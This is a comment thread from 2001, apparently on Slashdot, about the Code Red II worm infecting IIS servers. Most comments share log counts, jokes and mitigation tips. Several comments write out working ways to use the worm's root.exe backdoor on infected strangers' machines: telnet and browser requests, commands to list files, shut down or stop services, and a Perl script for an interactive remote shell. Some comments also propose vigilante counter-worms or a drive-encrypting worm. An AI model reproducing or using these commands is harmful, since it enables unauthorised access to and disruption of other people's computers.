    just complain to cisco how your vender is out of business so cannot supply it and you expect them to supply it to you for free or you will be calling the better business bureau and they will cough it up... worked for me!

  112. Re:One monkey, one hour by kilrogg · · Score: 1
    Installing Red Hat is much the same. Put the CD in, choose all the defaults, and pow: you're running a web server.

    Isn't the default a 'workstation' install which doesn't install Apache? Also, there's now a firewall enable by default, you would have to open port 80 to let anybody connect.

  113. Re:@home problems... by Anonymous Coward · · Score: 0

    @ home doesn't even use IIS. It's the users! People are getting this on DSL TOO!

  114. Re:ARP Broadcast spamming by Anonymous Coward · · Score: 0

    ARPs are fun. I'm getting about 50,000 of them...

  115. Re:If this can't break Microsoft's back nothing wi by SlashGeek · · Score: 3, Funny

    As long as they don't change that to the worth of their software, or $5 US, wichever is more.

    --

    --I assume full responsibility for my actions, except the ones that are someone else's fault.

  116. Re:If this can't break Microsoft's back nothing wi by IronChef · · Score: 5, Insightful


    Unlike a car that explodes to a design flaw, software that explodes due to a design flaw seems to be immune to the civil justice system.

  117. Re:Does anyone know.... by Anonymous Coward · · Score: 0

    Aren't you the Wipo Troll?

  118. Re:Breakdown of the new "features" of CRII by Anonymous Coward · · Score: 0

    Karma whore!

  119. The Real Problem by Anonymous Coward · · Score: 0

    The biggest problem here is the behavior that microsoft incourages.

    The encourage both ease and laziness. They go after the users that will use the default setting and they make there software very easy to use, be requiring little or no grasp on the concepts being applied.
    There are lots of linux distros who are also encouraging laziness.

    Now this is all fine and good as long as these companies take the responsibilty to make there software secure. If the are expecting users who do not know what they are doing how can they every expect them to path there software

  120. Re:Attempts here by Anonymous Coward · · Score: 0
    @home users aren't even allowed to run servers.

    These morons, by not patching their systems, are broadcasting their own termination notices.

  121. WTF? Now viruses get sequels? by Anonymous Coward · · Score: 0

    We all know it won't be as entertaining as the first one...

    -
    hadmacker x & Aurel

  122. Re:Zero monkeys, ten minutes by leonbrooks · · Score: 2
    Kickstart disks rule! (-:

    I think that if somebody wrote something similar to this for apache, we would get similar results.


    Disagree. Apache doesn't answer requests as root, and the apache user (usually nobody, apache or httpd) can't write anywhere useful. IIS answers requests as the kernel. ACLs? What ACLs? Banzaaai!

    I also routinely mount /var, /home, /tmp all nosuid,nodev to slow down root exploits, and usually mount /boot and /usr readonly to slow down trojans and speed up fscks if the power vanishes. Not a lot of people do this kind of thing, but it's nice to know that Apache itself isn't very vulnerable, and what I'm doing is basically insurance.

    There's also the issue of change and diversity. For example, older Apaches tend to default to /home/httpd/... and newer ones to /var/www/... (and who knows where Slackware would put it?) which would trip over hard-coded paths in attack kits. Likewise, many modern Apache installs (e.g. Mandrake) tend to use virtual hosting for everything. Relying on a specific module, or on the state of a specific feature, would also be a loser. Microsoft == monoculture == fragile.

    Mandrake installed in a server configuration does start a web server (and other things), but it specifically tells you about it during installation, and you have to click [Yes] to make it happen. They also do things like starting with ALL:ALL:DENY in hosts.deny, meaning that even with services running, a crackers' hope is likely end in futility. Many packagers are following suit.

    Debian's automatic updates also take the dodo-or-busy sysadmin out of the loop. Mandrake, RedHat and others are following suit.

    Summary: no, we wouldn't. Even though there are twice as many Apache sites as IIS. OTOH if M$ also had 95% penetration of the web server market, the Internet as we know it would be history by now.

    --
    Got time? Spend some of it coding or testing
  123. Re:Why don't they... by joshwa · · Score: 2

    where are my mod points when i need them??

  124. Re:All I want to know is by Maditude · · Score: 2, Funny

    ...and I want to know if I'll get spanked for sending my log (367 entries and growing quite quickly) of these default.ida? requests to abuse@microsoft.com ;-)

  125. Re:cisco 675 hanging. by starslab · · Score: 1

    I thought that had been well documented...

    Even though your webmin feature has been turned off, your cisco is still accepting connections, and it still parses the default.ida?XXXXblah, and that firmware crashes when it tries to parse a ? in a URL... There's updated firmware for that device available... Go get it. :)

    I can't say where, I haven't got one. :)

  126. Re:@home problems... by sstaton · · Score: 1
    We had cable modem outtages in North Texas (well, McKinney) tonite, and I noticed in the poster's list of IPs infected that mckiny1.tx.home.com was a common subnet. I just ran my own script:
    % grep default.ida *error_log* | awk '{print $8}' | sort | uniq | wc
    and I get 120 systems infected in the last 18 hours. I wonder if @Home was trying to put in some kind of block? How can that be done, given that port 80 requests are so common? PS: Just checked the script before finishing the post ... I'm at 122 infected systems.
    --

    The two most common things in the Universe are dark matter and stupidity.

  127. 4.x.x.x Is getting hit as well - but no speed loss by Fez · · Score: 1

    I've received 172 Code Red II attempts today alone (as opposed to 22 Code Red I attempts). Code Red II attempts started at 10:01am (CST) and contine even now. It doesn't appear to be affecting my speed at all (I'm on a DSL line) or even the general speed of the Internet at large, but it's definitely annoying log clutter.

    Hmm, make that 173.

    Legality aside, why doesn't someone write a worm that will make infected hosts download the patch and run it, then reboot themselves? Or at least power off the infected PCs. Now that would be useful.

  128. Re:logs by sfe_software · · Score: 1

    Actually you don't need 'cat' or 'wc' here. This works for me, and gets all of my domains/IPs in one swoop:

    grep -c default.ida\?XXX /home/*/logs/access.today

    Or for gzipped files:

    zcat /home/*/logs/*.gz |grep -c default.ida\?XXX

    - Jman

    --
    NGWave - Fast Sound Editor for Windows
  129. Re:If this can't break Microsoft's back nothing wi by Tackhead · · Score: 2
    > Essentially, a capability is permission to do something: see a file, read it, delete it, execute it, open a network connection. In such an OS, the web server is giving capabilities to: see everything in its docroot; execute everything in it cgi-bin; receive network connexions. It cannot read your personal data; it cannot open its own network connexion. Done right, it cannot even access libraries it doesn't use. It's a very interesting concept.

    Sounds a bit like the way they're going with SELinux. And yeah, a capability-based OS would rock. Sadly, neither contender for market share (be it any version of 'doze or the various UNIXes/Linuxes) has it yet :(

    For those of you with the free time and desire to write code to make the world a better place, it'd be a hell of a good project to get involved with.

  130. grep'ed apache logs by Anonymous Coward · · Score: 0

    [root@server httpd]# grep -c default.ida?NNNNNNNNNNN access_log
    98
    [root@server httpd]# grep -c default.ida?XXXXXXXXXXX access_log
    163

    the XXXX's are apparently CR2. Looking at the #'s... *joy* =\

  131. Re:It's certainly more ambitious... by raju1kabir · · Score: 2
    I've had the opposite experience. I got over 60 hits in the first round of the Code Red worm, and 32 from this round tonight.

    It depends on your machine's neighbors. If it's in a subnet with a lot of vulnerabe Microsoft machines, it's going to get hammered. If it's in a well-run subnet, it will only see the odd random probes.

    Machines I have in colo centers with small numbers of IPs (backup name servers, etc.) are really getting the treatment. Likewise the servers in a UUnet /26 (so presumably someone else in the Class C is an MS shop - never imagined I'd care). The rest of the stuff, in scattered /24s, is not seeing much of it at all (usually 5 or 6 log entries at this point).

    --
    "Patriotism is your conviction that this country is superior to all other countries because you were born in it." -- GBS
  132. Re:If this can't break Microsoft's back nothing wi by Anonymous Coward · · Score: 0
    Your mother-in-law run IIS 5.0 and Windows 2000, unpatched?

    Oh, just Windows98... So she can't get infected...

    That may be the stupidest Linux advocacy I have ever heard.

  133. Re:Rooted? Lemme get this straight.... by david+duncan+scott · · Score: 3, Funny

    I prefer the thing I've heard pool players say. It's a combination shot, so they "combinate".

    --

    This next song is very sad. Please clap along. -- Robin Zander

  134. this is WAY too cool by Megahurts · · Score: 1

    I just invented a new drinking game: the code red log hunt.

    You sit at your computer late at night (preferably with a few others around, if you have anyone to share the night with) and enter the addresses filling your logs as they come. If it's the generic IIS "this page isn't here" or "under construction" or other such nonsense, no drink. But if you get a real site, SLAM ONE DOWN!

    this is too much fun. I hope I have enough booze for the next few hours.

  135. Re:logs by caedes · · Score: 1

    I was a bit skeptical of the numbers you guys are posting about the attacks, but when I looked at my server's logs for a number of IP addresses I came up with, get this, 9012 individual attacks. Holy crap.

  136. Another suggestion.... by Anonymous Coward · · Score: 0
    While checking through my access_log I came across the following... (slightly edited)

    xx.xx.xx.xx - - [04/Aug/2001:17:59:08 -0600] "GET /scripts/..%c0%af../winnt/system32/cmd.exe? ...

    SO... someone was trying to exploit the backdoor. Could this be used as another signature to scan for.?

  137. Why? by Anonymous Coward · · Score: 0

    If these viruses/worms/trojans/what have you are designed to make the general public aware of the design faults of the Windows operating system then why don't they write them to do something even more drastic like install Linux or one of the BSDs* over top of the existing OS?

    The ideal code red worm in my opinion would take the contents of a website, send it off to another infected host, go about it's business installing an alternative OS and then bring back the data and have the system up and running again with the alternative OS. This would bring up all the uproar about the problems which is what the writer wants, while seemingly solving a problem at the same time. Plus it gives all those administrators that are stuck working with Windows but want to switch to something else thier chance!

    * yes I know that Linux and *BSD have thier fare share of security problems too, I am mearly using them as an example.

    1. Re:Why? by BassGuy23 · · Score: 0

      Anyone who could write an install program for Linux that worked correctly, worked quickly, was small enough to propogate itself in a reasonable amount of time, and was able to translate the host software config to the new Linux config would be sitting on a fat stack of cash. That would truly be Linux for the masses. Hell, if it could recognize my network card without a major effort on my part, it would be Linux for the masses. Unfortunaetly such a thing will probably never happen. But if it did, it would be even better if it spread itself. Imagine the embaressment at Microsoft when all of a sudden all their servers are running Linux and, due to a "security flaw" in the distro, Windows has become "open source". Just my 2 cents. I should probably be sleeping right now.....

      --

      ~Mike

      A big enough hammer fixes *anything*
  138. Re:logs by GC · · Score: 2

    That's really nice!

    Here are my logs: here.

    Only 34 so far, but I only decided to open up apache to these this afternoon...

    Cheers for that!

  139. Two Things by Anonymous Coward · · Score: 0

    Not to nitpick, but this isn't "Code Red 2". The first strain of the Code Red worm had a broken random IP address generator, so it failed to propagate effectively. The one that stirred up so much fuss last month (and again last Wednesday) was CRv2, the same worm with the random address stuff repaired. I don't think that "Code Red 3" would be an appropriate descriptor, either, as there are undoubtedly many other variations going around. I've been calling it "Code Red X", for obvious reasons.

    Secondly, you can reboot a Windows machine from the DOS prompt. Here's how:

    lebowski:pts/1% telnet infected.host.net 80
    Trying 24.1.1.1 ...
    Connected to infected.host.net.
    Escape character is '^]'.
    GET /scripts/root.exe HTTP/1.0

    HTTP/1.1 200 OK
    Server: Microsoft-IIS/5.0
    Date: Sun, 05 Aug 1984 05:18:57 GMT
    Content-Type: application/octet-stream
    Microsoft Windows 2000 [Version 5.00.2183]
    (C) Copyright 1985-1999 Microsoft Corp.

    c:\inetpub\scripts> echo g=ffff:0|debug

    Disclaimer: I haven't looked closely enough at this worm to know what rebooting an infected host will do. With CRv2, a simple reboot would make it stop propagating itself. If CR-X behaves the same way, we could probably put a damper on this scourge with a simple Perl script that connects to infected hosts and sends the reboot command.

    Gratuitous Anti-MS Comment: We all know what the real problem is here.

  140. Messing With Code Red by FatlXception · · Score: 1

    I found out an easy way to slow down Code Red's scanning progress off a certain security site. Respond to the initial SYN packet with a SYN/ACK, but then don't acknowledge any further packets. The other side will spend several minutes retrying to send the worm to you, before finally giving up. I did this by adding this simple ipchains rule to my firewall (no, I haven't figured out iptables yet): ipchains -I input -j DENY -p tcp -s 0.0.0.0/0 1024:65535 -d $MY_IP 80 ! -y Of course, if you actually run a webserver, which I don't, that would be a bad thing to do. Also, it is possible to get a command prompt on most infected servers, by telnetting to port 80 of the machine and doing an HTTP request for /scripts/root.exe. Surely it must be possible to either warn the administrator, clean the machine, or at least knock the machine off the network from there? I'd investigate it more myself, but I've heard enough horror stories about people investigating hacked systems whose houses get raided by the FBI or something similar that I think I'll stick to more passive resistance. :)

  141. Re:Will this wake peoiple up? by Jucius+Maximus · · Score: 1
    "We need to see MS get some serious bad press for this, or it won't end."

    That's for sure.

    I think a way to bang it into everyone's head is to write some worm that will encrypt the Windows user's hard drive for a random amount of time (say 14-21 days.) And whenever they try to boot, they get some sort of message warning them about the dangers of clicking on all things, running unpatched software, running M$ software in general.

    They'd remember that. And it would get a lot of press.

  142. Re:Do what I did... by Ranger+Rick · · Score: 2, Interesting

    Already done it (well, not crashing, but I email hostmaster@their.domain), just do:

    AddHandler cgi-script .ida

    In your httpd.conf and make a little perl script or something called default.ida to log it. It's been great fun, shoulda been to bed hours ago, but I'm playing around with my script instead. =)

    --

    WWJD? JWRTFM!!!

  143. Re:URM. Thjs is NOT good. GG Microsoft by TheMidget · · Score: 1
    > Oh, that's so cool, but I'm too chicken to try it (can you get arrested for that?)

    Nope. They probed you first, so it's just "fair retaliation". And "fair retaliation" is an integral part of the anti-piracy laws, which Supreme Court insisted to add in order to keep the law in line with the Second Amendment of the Constitution ;-)

  144. There's probably a phase III by Animats · · Score: 2

    This is a virus that installs a root kit. The question is, why? Clearly this is in preparation for a next phase. Sysadmins need to be thinking ahead on this.

  145. Re:OK, this is now scary! by moresca · · Score: 1

    Indeed this does work. What I find interesting is that the majority of the IPs I've checked from my router logs have the stock, "Under Construction" IIS page from a new install and that the NT/2000 and Inetpub dirs have very recent creation dates associated with them. What I gather from this is that possibly these boxes were deliberately created for Code Red's sake by the curious. Maybe they just want to see what would happen. However, the fact that the IPs are scanning me suggests that they are not blocking the worm's ability to scan others, all the while allowing it to propogate. That in itself is bad news in my eyes.

  146. Re:logs by Genom · · Score: 2

    311 here, linux server also running apache =)

  147. shutting down those machines by valentyn · · Score: 2, Informative
    It would be quite easy to shut down those PCs, if there were a "shutdown" command on NT/2k. There isn't; there is one in the Resource Kit but not in the default installation.

    Having said that, you could kill off a Windows PC by issueing

    GET /scripts/root.exe?/c+SHUTDOWN

    Other commands are possible as well: GET /scripts/root.exe?/c+dir+/s+\ gives you the recursive directory tree. Formatting, starting Fdisk and the like are possible, too.

    If someone could post a shutdown.exe somewhere, I'll be glad to provide a simple script that downloads the executable and starts it, thus stopping the IIS machine. Or maybe this is our chance to create Tuxissa :)

    --
    my other sig is a 500 page novel
    1. Re:shutting down those machines by SuiteSisterMary · · Score: 2

      GET /scripts/root.exe?/c+net+stop+"World+Wide+Web+Publ ishing+Service" should shut down IIS. net stop "World Wide Web Publishing Service" is the functional equivalent of '/etc/rc.d/init.d/httpd stop' on Linux and various UNIXs.

      --
      Vintage computer games and RPG books available. Email me if you're interested.
  148. Re:Why don't they... by rawg · · Score: 3, Insightful

    This will not work. How is your worm going to spread if you fix the system?

    --
    The above is not worth reading.
  149. Re:Will this wake peoiple up? by Anonymous Coward · · Score: 0

    OK, here is the story:
    <OS Vendor> released <OS Version> and had <software> enabled by default. A bug was found in <software>, so <OS Vendor> released a patch. Most admins didn't install the patch for some reason or another. A while later, someone wrote a worm that exploited the bug. This worm spread like wildfire and infected a lot of servers.

    Filling in the blanks:
    <OS Vendor>=RedHat
    <OS Version>RedHat 7.0
    <software>=Bind

    The only reason this is more devestating to the net than the Bind exploit was is because MS has a higher installed base. If RedHat had the same installed base, the effects would have probably been much worse.

    So where is your call to have RedHat tarred and feathered?

  150. Re:If this can't break Microsoft's back nothing wi by tswinzig · · Score: 2

    Unlike a car that explodes to a design flaw, software that explodes due to a design flaw seems to be immune to the civil justice system.

    You left out some key facts:

    - Operating systems are more complex than cars.
    - Operating systems don't require a license to be operated.

    --

    "And like that ... he's gone."
  151. Re:C:\dos C:\dos\run | run\dos\run by Anonymous Coward · · Score: 0

    Wanna have your own complete copy?

    nc -v -L -p 80 -o hex.dump > text.dump

    Works with the unix and win32 version of netcat, I have had a window open watching trafic coming in on port 80 for a couple of days now, its really weird to know port 80 and 111 are aparantly that interesting on a normal dailup providers ip range.

  152. Re:A few more details:It's a root trojan by Anonymous Coward · · Score: 0
    how to u make it werk!?! help me pleez?! i want to expl0it ppl t00! ;--}

    thx!!!!!!!!!

  153. All I want to know is by VFVTHUNTER · · Score: 1
    can I sue @home for using Microsoft IIS? ;-)

    There's got to be a legal basis for it somewhere.

    1. Re:All I want to know is by Anonymous Coward · · Score: 0

      @home doesn't use IIS. Actually, Solaris I believe. It's the users of @home sending all this junk.

  154. Re:here are the latest.. (GMT-4) by Anonymous Coward · · Score: 0

    Thanks to you, you just infected my IIS 5.0 server. I will now sue your pants off.

  155. Re:cisco 675 hanging. by MarkMac · · Score: 1
    Pay a visit to the following web site, you can download the 242 update there:

    http://support.visi.com/dsl/242/

    I'd suspect that you could also find it this update using google (look for "c675.2.4.2.bin" or something equivalent ...)

  156. Re:cisco 675 hanging. by Anonymous Coward · · Score: 0

    Anyone have a link for the 2.4.2 firmware? I found 2.4.1, but no 2.4.2. I'm a Qwest DSL customer, so Cisco TAC tells me to talk to them, but they won't talk to me because qwest.net isn't my ISP. My local ISP is very good, but aren't big enough to get decent service for Cisco and get things like this. So I'm stuck, and will soon be out of town for 10 days and don't want my DSL router to lock up and cause me to lose email...

  157. Re:The beginning of the end of free rides... by Anonymous Coward · · Score: 0

    anyone have commands to do this for linux 2.2 kernels?

  158. Why is PWS (IIS 4) on Windows 98 not vulnerable? by jfaughnan · · Score: 1

    The CERT alert is explicit that the worm only infects NT/2000 machines running IIS. Why is the Windows 98 Personal Web Server (a limited version of IIS 4) not vulnerable?

    --
    John Faughnan
    jfaughnan@spamcop.net
  159. Re:a quick fix by Anonymous Coward · · Score: 0
    For NT it's c:\winnt

    And it doesn't have the deltree command. Del functions the same as deltree, except with a y/n prompt.

  160. Code Red affecting cell phone networks? by Eminor · · Score: 1

    I noticed this afternoon, I could not make any calls on my cell phone. I called customer support serveral times. They were busy. I guessed they were having problems with their network. My friend, who is on a defferent network (I am on Rogers AT&T Canada, he is on Fido Canada), also could not make any calls. Could it be that this worm brought down some cell phone networks?

    1. Re:Code Red affecting cell phone networks? by raju1kabir · · Score: 1
      Well, seeing as the my Cell Phone Network is connected to the internet, it is entirely possible that it some how interfered. Let's not be stupid here, dumbass.

      My stereo is connected to the internet, and the other night I was trying to play a CD and it was skipping really badly. Must have been Code Red.

      Look, things work in certain ways - this isn't voodoo we're talking about here. Unless you can postulate a vector by which Code Red would cause cell phone outages, I'll reserve my right to make fun of such assertions.

      --
      "Patriotism is your conviction that this country is superior to all other countries because you were born in it." -- GBS
    2. Re:Code Red affecting cell phone networks? by Eminor · · Score: 1

      Well, seeing as the my Cell Phone Network is connected to the internet, it is entirely possible that it some how interfered. Let's not be stupid here, dumbass.

  161. Re:What are you talking about? by sunhou · · Score: 3, Insightful

    • One time out of eight, and entirely random IP address is generated
    • Four times out of eight, the lower octet of the IP address is randomized (192.168.1.X)
    • Three times out of eight, the lower two octets are randomized (192.168.X.Y)

    This is very interesting. I've recently been studying spatial population models of dispersal, e.g. when trees release seeds, should they go a short distance or a long distance? I.e. which will make them more likely to survive, and what combination of strategies will be evolutionarily stable?

    Short-distance dispersal is best on aggregated landscapes, where good habitat is likely to be nearby, although such strategies end up competing with themselves quite intensely. Long-distance dispersal is good on unclustered landscapes, where you're better off hoping to colonize a good site far away. But it turns out that mixed seem to really kick butt; they exploit local rich patches of resources, but an occasional long-distance propagule allows them to colonize far-off patches once in a great while, and also reduces intraspecific competition somewhat.

    It would be really interesting seeing a few different Code Red's going with different proportions of near versus far dispersal, to see which one does best. It would tell us something about the aggregation of exploitable machines on the net. Although I suppose some people may object to such a study.

    As an AC pointed out in another reply, the really clever thing to do would be to have an adaptive strategy with a bit of randomness in it (i.e. the parameters in the strategy are changing too). That way, it would eventually "find" the strategy that works best, and in fact different subpopulations could converge to different locally optimum strategies.

  162. Re:cisco 675 hanging. by whimsy · · Score: 1

    Telnet into your router. If this is disabled, plug in the management interface, use hyperterminal/terminal software/direct serial port access/however you do this. log in. enable.

    set web port 81
    set web disabled
    write
    reboot

    ....

    exit

    This is the only effective way I know of. As far as I know all CBOS are vulnerable. Don't expect to get pre-CR2 performance, though, as you are still receiving a decent chunk of extraneous traffic, and qwest's (or whomever your provider is) lines are fairly bogged, as is everyone elses.

    -aaron

  163. ISPs filtering port 80 by Anonymous Coward · · Score: 1, Interesting

    I find it odd that my OS X (Apache httpd) webserver is now inaccessible to the outside world because @Home has filtered port 80 my IP. Even my other IP is filtered on port 80, and it doesn't even have any services running. This sucks because other @Home customers who HAVE been bitten by the worm haven't had incoming requests on port 80 blocked. If @Home is going to start enforcing the TOS on users that aren't hosting warez servers or any high-bandwidth servers, then I'm going to cancel my subscription. My 128 kbps upstream cap is horrible enough.

  164. Re:cisco 675 hanging. by Anonymous Coward · · Score: 0

    Qworst does have the Cisco CBOS 2.4.1 firmware update available for the Cisco 675 which should fix the lockups caused by code red. But they've made it hard to find. It's at: http://www.qwest.com/dsl/customerservice/win675ups .html Although they say windows only, the upgrade can be done with any terminal which supports xmodem transfers via the serial management cable. You don't need the wintel Cisco Commander software. The upgrade via the qwest.net faq link to the qwest.net ppp mode conversion page only upgrades to 2.2.0, which doesn't help. Qwest.net does not know about the qwest.com page. Qwest.net seems to be totally separate from qwest.com. Qwest.net are clueless idiots who support absolutely nothing except basic connectivity; qwest.com has the dsl people who can help with Cisco problems. Choose the "tier 1 LAN support" option when calling in to 888.777.9569. This option seems to be available only if you choose the "business" dsl option instead of "home". I assume that means qwest megabit "deluxe" or "pro" accounts. An added bonus is that qwest.com does not have the sucky midi hold music that repeats every 30 seconds. Having said all this, I notice that 3 systems that I admin do not respond to ping tonight. I'll check them Sunday, but the upgrade does not seem to have solved the problem.

  165. Re:Free r00t for all! by Anonymous Coward · · Score: 0

    Hi, I'm a stupid IIS admin. Will somebody please tell me what this 'r00t' is?

    Thanks!

    Joe Blow
    MCSE

  166. Re:A few more details:It's a root trojan by Anonymous Coward · · Score: 0

    For an interactive shell,

    #!perl -w
    use IO::Socket::INET;
    use URI::Escape;
    my $remote = "@ARGV";
    die "usage: $0 host\n" unless length $remote;

    while()
    {
    print "> ";
    my $command = <STDIN>;
    chomp $command;
    $command = uri_escape($command);
    my $s = IO::Socket::INET->new(PeerAddr=>$remote, PeerPort=>80);
    die "Can't connect to $remote\n" unless $s;
    print $s "GET /scripts/root.exe?/c+$command HTTP/1.0\n\n";
    print while <$s>;
    }

  167. Re:A few more details:It's a root trojan by Drone-X · · Score: 1

    Oh, I didn't know that. I'm curious, does it send the windows' contents as a bitmap or does it actually send the GUI system calls over the line?

  168. Re:a quick fix by Anonymous Coward · · Score: 0

    well, you are wrong. plz search archives for "BIND", Sendmail (more problems than morris worm), WU-FTPD...etc..etc...etc...

  169. Re:A few more details:It's a root trojan by Anonymous Coward · · Score: 0

    it should work. BackOrifice2k had the same kind of ability. I was able to cmd winipcfg and notepad \autoexec.bat, and others to popup.

  170. It's actually a market research tool by zornorph · · Score: 1

    This is actually a Microsoft ploy... they are using it to gauge their share of the webserver market! I can see the headlines now... "Microsoft IIS the innovative leader in home web servers."

    --
    http://bike.stu.ph/rides - free GPS routes available for Garmin, Magellan, GPX and Google Earth
  171. Re:what is code red. . by mcleodnine · · Score: 1

    Someone should copyright the "code red algorithm". No. Wait. That would make it more popular.

    Changing the name to "Code Bob" or "Clippy" might slow things down a bit.
    --
    one better than mcleodeight
  172. Re:A few more details:It's a root trojan by Anonymous Coward · · Score: 0

    can anyone confirm that this works? I want to take over control of default.ida for my virtual hosts to help kill this. sample script?

  173. Re:Hypothesis by SuiteSisterMary · · Score: 2

    Nah, it's a country wide civic holiday, so it'll have different names in different areas.

    --
    Vintage computer games and RPG books available. Email me if you're interested.
  174. Re:A few more details:It's a root trojan by ToWnSaVeR2 · · Score: 1

    actually, you can do remote gui logins through terminal services. All it does is run your commands as a seperate thread and then pipe the output back to your client to be processed by your machine. It has some security holes in it though, another quality product from microsoft.

  175. Re:@home problems... by ScottBob · · Score: 1

    I'm using Win98 with @home, and Zone Alarm as the firewall. I usually get maybe 10-20 hits a day, but just like everyone else, when I saw this article I pulled up the log and I was banged over 400 times within the course of 4 hours, the vast majority coming from 65.2.x.x. I wouldn't be concerned, but what if there's a crIII worm that does affect Win 98 machines? Luckily I have Linux on a second partition, and I even got @home working with it. (Just in the course of typing this message I got hit another 5 times, and the receive light is flickering like a worn out neon light.)

  176. Re:Easier to track the source now? by NotLob · · Score: 1

    2001-08-04 14:35:16 24.180.74.2 was first for me.

    --
    Vibrating Heat Beads and Crystal Meth. Jimmy, I'm the DEVIL!
  177. Running a shareware Mac http server by pressman · · Score: 1

    I'm running NetPresenz on an old PPC 7200/75 I have just as a staging area for several projects of mine. I've noticed a signifigant increase in visits over the last few days. I'm just wondering how I would know if I'm being hit by the virus. I know my server can't be infected for a number of reasons, but I'm just curious to know if I'm being "attacked".

    --
    Pooty tweet
    1. Re:Running a shareware Mac http server by Anonymous Coward · · Score: 0

      Look for the following string in your server logs:c178.h203149139.is.net.tw - - [06/Aug/2001:00:22:44 +0930] "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090% u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9 090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u000 0%u00=a HTTP/1.1" 400 - "-"

  178. Re:Things learned from Code Red by DNS-and-BIND · · Score: 1

    Hear, hear brother...I can't stand the whining "but there's no webmaster@...every IP address on the internet has to have a webmaster account" crap.

    --
    Shutting down free speech with violence isn't fighting fascism. It IS fascism!
  179. Retaliatory Action -- I'm Serious by Anonymous Coward · · Score: 0

    I've read a lot of the messages here, and I think people/we should set precedent now that any system left open to a published exploit MAY BE ENTERED through that interface and the broken service stopped/disabled or the server shut down--at least in response to an active probe.

    These distributed attacks are everyone's problem. I agree with the "house on fire" analogy someone else posted. It's time to stop gawking and start grabbing buckets.

    Could someone post a windows script that will send a message locally to webmaster and then turn IIS off, and block it coming back up, at least until restart? (sorry, been way too long since I used windows) Maybe such counter-actions can be published along with exploits, and improve over time.

    1. Re:Retaliatory Action -- I'm Serious by Anonymous Coward · · Score: 0

      We cant do jackass about this (at least without breaking the law in some states/countries).. remember what happened to Max Vision and many others when they tried to improve the security of their networks or tried to help others?..
      Also, since CR2 has a backdoor, it is possible that some skript kiddie already inserted a rootkit and by patching the IIS it will be very difficult for the sysadmin to even know that they were 0wn3d..

      The best (and only) thing we can do right now is email the sysadmin.

    2. Re:Retaliatory Action -- I'm Serious by Anonymous Coward · · Score: 0

      Umm, No. We can shut off the compromised server, we can shut off its external net communication (ie 2-way firewall itself), and I'm sure there are other reasonable possibilities. I definitely didn't suggest patching the system or any other actual changes, nor did I suggest not telling the admin.

      As I said, this should become an accepted consequence of running a non-secure and compromised server. Their servers are attacking. We have a right to stop their attacks. People who disagree with this have a right to keep up to date and avoid being compromised.

  180. Origins by xenocide2 · · Score: 1
    It will be quite hard to tell who made the worm. Sure, the defacing said "hacked by the Chinese." But the first report was from a chinese server. For all we know this "Chinese" deal is just a cover. In addition, the original was built with a self terminating date, but reviews of the code show that the code is has several points where a single byte change can greatly alter the life cycle of the worm. And eEye aren'y the only people in town who can read the code. With a hex editor and a little knowledge of what the code is doing, nearly anybody could restart it at any time with a copy of the virus.

    Think "copy-cat" incidents like Columbine.

    --
    I Browse at +4 Flamebait

    Open Source Sysadmin

    1. Re:Origins by SpeelingChekka · · Score: 1

      Given the current level of anti-China sentiment/propaganda in the USA, I'd be highly surprised if this worm originated in China, and I would be even more surprised if it turns out that it did not originate in the USA. If it had been written by Chinese, I struggly to imagine that the message would have been "hacked by Chinese". And conversely, if it wasn't hacked by Chinese, I can't imagine another country more likely to try to make China look bad with such a message than the USA. The message sounds a lot to me like something somebody trying to make someone else look bad might write.

      Of course, theres no way to know, thats just my own feeling on the matter.

      My general feeling also is that CodeRedII is a copycat, but I guess we don't really know.

  181. Re:a quick fix by catfood · · Score: 1
    Did the rapture happen when I wasn't looking, and God took the people responsible for these computers, those left behind couldn't find the passwords anywhere? How is this possible?

    How many out-of-work sysadmins do you know?

    It seems that thousands of US corporations have been persuaded that paying a knowledgeable person to run the server farm is a luxury. Haven't you seen the recent Microsoft TV ads? The computers just admin themselves now! Woo hoo!

  182. Re:While you're at it... by archen · · Score: 1

    yeah, that won't take any bandwidth to do...

  183. Re:POSTing to root.exe? by Anonymous Coward · · Score: 0

    look elsewhere in the discussion, people have figured it out

  184. Re:A few more details:It's a root trojan by Soko · · Score: 5, Informative
    From this thread on Ars Technica:
    Just discovered something interesting...
    telnet 80

    type GET /scripts/root.exe HTTP/1.0

    and you have a command prompt..

    Like this:
    [root@server httpd]# telnet 24.xxx.xxx.xxx 80
    Trying 24.xxx.xxx.xxx...
    Connected to 24.xxx.xxx.xxx.
    Escape character is '^]'.
    GET /scripts/root.exe HTTP/1.0

    HTTP/1.1 200 OK
    Server: Microsoft-IIS/5.0
    Date: Sun, 05 Aug 2001 07:45:08 GMT
    Content-Type: application/octet-stream
    Microsoft Windows 2000 [Version 5.00.2195]
    (C) Copyright 1985-1999 Microsoft Corp.

    c:\inetpub\scripts>

    [This message was edited by The_Hitman on August 05, 2001 at 03:56.]



    --
    "Depression is merely anger without enthusiasm." - Anonymous
  185. OK, this is now scary! by Spackler · · Score: 1

    Who needs telnet?
    Just type the following into a browser using one of the infected systems from your log file:

    http://infected_system/scripts/root.exe?/c+dir+c:\

    You are greeted with a directory listing of the root of C:\!
    I just scared the crap out myself by trying this, and it worked.

    1. Re:OK, this is now scary! by Anonymous Coward · · Score: 0

      http://66.25.153.130/scripts/root.exe?/c+dir+c:\wi ndows\

  186. Re:A few more details:It's a root trojan by nugatory · · Score: 1
    FWIW: A fair number of the compromised machines respond with the standard IIS "server too busy" HTML error page instead.

    At least one compromised machine launched root.exe the first time it was touched this way, but then started responding with the error page.

    Is this collateral damage as the ravening script-kiddies of the internet discover a new and vulnerable target? Or is it an attribute of the compromise itself?

  187. Re:logs... Firewall the world over! by thedigitalking · · Score: 1

    about 170 attacks so far. (about 5/hour) I downloaded the patch back in late July. Point, click, click, reboot. That simple. Had I not downloaded the patch for my NT machine, my BlackIce Defender Firewall would've bounced the attacks anyway.... which it did. Lesson: When MS fails, get a firewall!

  188. Re:Broken random number generator (again!) by gdchinacat · · Score: 1

    Nice analogy. Here in Seattle, every other year or so, the Snohomish river washes people's houses away, developers come along, build shoddy houses (because they only need to last for a few years), people from other parts of the country move into them, flood, repeat.

